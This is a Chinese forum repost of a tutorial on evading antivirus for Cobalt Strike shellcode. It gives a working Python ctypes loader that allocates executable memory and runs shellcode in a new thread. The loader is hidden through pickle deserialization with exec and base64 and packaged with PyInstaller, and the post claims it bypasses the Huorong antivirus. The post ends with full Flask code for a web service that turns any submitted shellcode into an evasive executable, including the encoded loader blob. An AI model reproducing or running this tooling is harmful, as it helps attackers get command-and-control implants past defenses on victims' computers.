|
本帖最后由 Delina 于 2021-8-20 09:41 编辑
原文链接:帅小伙Tz的shellcode免杀大法
Shellcode反序列化免杀
1
介绍
- Shellcode 直接操作寄存器 和函数 是一段可注入的指令 来获得攻击目标的shell
- Python序列化 是将一个数据结构转化成一个特殊的序列(特殊的字符串)的过程
反序列化就是将这特殊的序列转化成原来的数据结构的过程
2
Shellcodeloder编写
加载shellcode需要编写shellcode加载器来将shellcode在内存中执行
Shellcodeloder 需要做的事是:申请内存局域 ->将shellcode赋值进去-> 创建线程执行。
在Python中编写shellcodeloder 需要ctypes库(python3是自带的不需要安装)来调用windows系统中的内置函数几个重要的动态链接库 kernel32.dlluser32.dll gdi32.dll msvcrt.dll 我们编写最基础的shellcodeloder的内置函数都在kernel32.dll 中
函数介绍VirtualAllocVirtualAlloc函数申请内存地址
RtlMoveMemoryRtlMoveMemory函数从指定内存中复制内存至另一内存里
CreateThreadCreateThread函数在主线程的基础上创建一个新线程
WaitForSingleObjectWaitForSingleObject函数检测线程的状态
函数的用法及参数 百度百科上有详细的资料 可供参考
Python shellcodeloder 编写- import ctypes
- def shellcodeloder(shellcode):
- ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 //重载函数返回类型 uint64
- ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x1000),ctypes.c_int(0x40)) //申请内存区域
- buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) //将shellcode 赋值到指针里
- ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))//将 刚才的指针 复制到 申请的内存区域里
- hread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) //创建新进程执行
- ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread),ctypes.c_int(-1)) //检测进程 这里-1 是等待时间 设为负数它就会无限
复制代码
实现shellcode执行在CobaltStike生成一个python的shellcode
拿到一串buf=‘\xfc\x48\x83\xe4\xf0\xe8\......’
将它转化成bytes类型 再转化成bytearray(list数据类型)传入shellcodeloder中执行
3
完整代码
- import ctypes
- buf= b '\xfc\x48\x83\xe4\xf0\xe8\......’
- def shellcodeloder(shellcode):
- ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 //重载函数返回类型 uint64
- ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x1000),ctypes.c_int(0x40)) //申请内存区域
- buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) //将shellcode 赋值到指针里
- ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))//将 刚才的指针 复制到 申请的内存区域里
- hread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) //创建新进程执行
- ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread),ctypes.c_int(-1)) //检测进程 这里-1 是等待时间 设为负数它就会无限等待 程序就不会结束
- shellcodeloder(bytearray(buf))
复制代码
5
反序列化免杀
免杀原理序列化就像是一次加密 所以就破坏了原本的特征码 因此免杀
反序列化就是解密 从而执行 我们的shellcode
代码实现需要pickle库(python自带无需下载)
我们知道pickle 可以序列化python任意一个数据类型包括一个类
所以我们将上面的shellcodeloder 归为一个类并用exec函数来执行
- import pickle,base64,ctypes
- class shellcodeloder:
- def __reduce__(self): //__reduce__ 被定义之后,当对象被Pickle时就会被调用
- return (exec,("""
- ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
- ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x1000),ctypes.c_int(0x40))
- buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
- ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
- thread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
- ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread),ctypes.c_int(-1))""",)) //这里return 必须要元组类型
- pickshell = pickle.dumps(shellcodeloder()) //序列化shellcodeloder
- basepickshell = base64.b64encode(pickshell) //再加密 base64
- print(basepickshell) //得到加密后的字符串
复制代码
然后再将shellcode通过base64加密
加密好后创建新的py文件
将加密好的 复制进去 反序列化后就可以执行了
6
最终代码
- import base64,pickle,ctypes
- shellcodeloder = b'gASVdQIAAAAAAACMCGJ1aWx0a……' //shellcodeloder加密
- baseshellcode = b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSY……' //shellcode加密
- shellcode= bytearray(base64.b64decode(baseshellcode)) //解密shellcode此时变量名必须为shellcode
- pickle.loads(base64.b64decode(shellcodeloder))//解密shellcodeloder 并执行
复制代码
测试成功上线
Pyinstaller 封装成exe通过pip install pyinstaller 命令安装
pyinstaller -F shellcode.py
最后生成的exe在dist文件夹中
免杀过火绒
7
Flask 编写shellcode在线免杀平台
首先用 pip install flask 命令安装这个库
如果没有学过flask的可以网上找教程 学
流程用户提交CobaltStike生成的shellcode -> 后台服务器接收shellcode 生成反序列化后的py文件-> pyinstaller 封装成exe-> 供用户下载
开始编写首先创建html的模板index.html 放在templates文件夹下
代码如下
Simple simpleverysimple的 html模板
一个form表单
一个变量代码块用来存放提示句
不必多说大家也能理解
- from flask import Flask,render_template,request
- app = Flask(__name__) //创建Flask实例
- @app.route(‘/’,methods=[‘GET’,’POST’]) //装饰器 语法糖。在这里定义路由地址 和请求方式
- def index(): //被装饰的函数
- if request.method == 'POST': //请求是否为post 因为form提交的方式是post
- shellcode = request.form.get('usershellcode') //获取用户提交的shellcode
- if not all([shellcode]): //如果提交的为空则
- nn = '赶紧 提交你的shellcode啊 ~!憨批!!
- return render_template('index.html',nn=nn) //重新加载页面 并将nn提示语句插入到html模板中的变量代码块
- elif 'buf' not in shellcode: //如果 buf 没在用户提交的数据内则
- nn = '看 上面 填入的 shellcode 格式啊~! 笨蛋!!'
- return render_template('index.html', nn=nn)
- elif '"' not in shellcode[::-1][0]: //如果 用户提交的shellcode 最后没有双引号则
- nn = 'cao 你的双引号呢???'
- return render_template('index.html', nn=nn)
复制代码
上面的代码 是 获取用户提交的shellcode 并判断是否规范
规范 后面才好继续处理
大坑!!!到这里有个搞了我好久的大坑就是 将 接受到用户传入的shellcode转换成二进制b’string’用 % 将接受到数据的shellcode变量传进去可最后得到的结果不一样
如果用bytes(shellcode,encoding=’UTF-8’) 也是与前两种不一样
如果有大佬知道 这是啥情况的 请告诉我 告诉我 告诉我!!
最终我的解决方法是将 拿到的shellcode 先写入一个py文件中进行base64加密在这个py文件中再去创建一个 最终反序列化的py文件
最终代码实现- import os
- with open('shell.py','w') as f:
- f.write('import base64\n')
- f.write("shellcode = b'"+shellcode[7:len(shellcode)-1]+"'\n")
- f.write("baseshellcode = base64.b64encode(shellcode)\n")
- f.write('with open('+"'shellcode.py','w'"+') as f:'+'\n')
- f.write(' '+"f.write('import pickle,base64,ctypes \\n')"+'\n')
- f.write(' '+"f.write('shellcode = '+str(baseshellcode)+'\\n')"+'\n')
- f.write(' '+"""f.write('shellcodeloder = b'+"'gASVdQIAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhWAgAACmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksY3R5cGVzLmNfaW50KDB4MTAwMCksY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocHRyKSxidWYsY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSkKdGhyZWFkID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY191aW50NjQocHRyKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQodGhyZWFkKSxjdHlwZXMuY19pbnQoLTEpKQogICAgICAgIJSFlFKULg=='\\n")"""+'\n') //反序列化 再base64加密过的shellcodeloder
- f.write(' '+"f.write('shellcode = bytearray(base64.b64decode(shellcode))\\n')"+'\n')
- f.write(' '+"f.write('pickle.loads(base64.b64decode(shellcodeloder))\\n')"+'\n')
- os.system('python shell.py') //执行第一个创建的 shell.py
- os.system('pyinstaller -F shellcode.py') //pyinstaller封装第二个通过 执行shell.py 创建的 shellcode.py
复制代码
文件下载 编写
- from flask import send_from_directory
- @app.route("/download") //定义下载shellcode.exe的路由地址为ip:端口/download
- def download():
- store_path = os.getcwd()+'\\dist' //获取shellcode.exe的路径
- return send_from_directory(store_path, 'shellcode.exe', as_attachment=True)
复制代码
之后我们上面 index()函数设返回值为 return redirect("/download") 就是当用户上传完 服务器生成shellcode.exe后页面跳转到 ip:端口/download也就是去下载我们的shellcode.exe
完整代码- from flask import Flask,render_template,request,send_from_directory,redirect
- import os
- app = Flask(__name__)
- @app.route('/',methods=['GET','POST'])
- def index():
- if request.method == 'POST':
- shellcode = request.form.get('usershellcode')
- if not all([shellcode]):
- nn = '赶紧 提交你的shellcode啊 ~!憨批!!'
- return render_template('index.html',nn=nn)
- elif 'buf' not in shellcode:
- nn = '看 上面 填入的 shellcode 格式啊~! 笨蛋!!'
- return render_template('index.html', nn=nn)
- elif '"' not in shellcode[::-1][0]:
- nn = 'cao 你的双引号呢???'
- return render_template('index.html', nn=nn)
- else:
- with open('shell.py','w') as f:
- f.write('import base64\n')
- f.write("shellcode = b'"+shellcode[7:len(shellcode)-1]+"'\n")
- f.write("baseshellcode = base64.b64encode(shellcode)\n")
- f.write('with open('+"'shellcode.py','w'"+') as f:'+'\n')
- f.write(' '+"f.write('import pickle,base64,ctypes \\n')"+'\n')
- f.write(' '+"f.write('shellcode = '+str(baseshellcode)+'\\n')"+'\n')
- f.write(' '+"""f.write('shellcodeloder = b'+"'gASVdQIAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhWAgAACmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksY3R5cGVzLmNfaW50KDB4MTAwMCksY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihzaGVsbGNvZGUpKS5mcm9tX2J1ZmZlcihzaGVsbGNvZGUpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocHRyKSxidWYsY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSkKdGhyZWFkID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY191aW50NjQocHRyKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQodGhyZWFkKSxjdHlwZXMuY19pbnQoLTEpKQogICAgICAgIJSFlFKULg=='\\n")"""+'\n')
- f.write(' '+"f.write('shellcode = bytearray(base64.b64decode(shellcode))\\n')"+'\n')
- f.write(' '+"f.write('pickle.loads(base64.b64decode(shellcodeloder))\\n')"+'\n')
- os.system('python shell.py')
- os.system('pyinstaller -F shellcode.py')
- return redirect("/download")
- return render_template('index.html')
- @app.route("/download")
- def download():
- store_path = os.getcwd()+'\\dist'
- return send_from_directory(store_path, 'shellcode.exe', as_attachment=True)
- app.run()
复制代码
|
|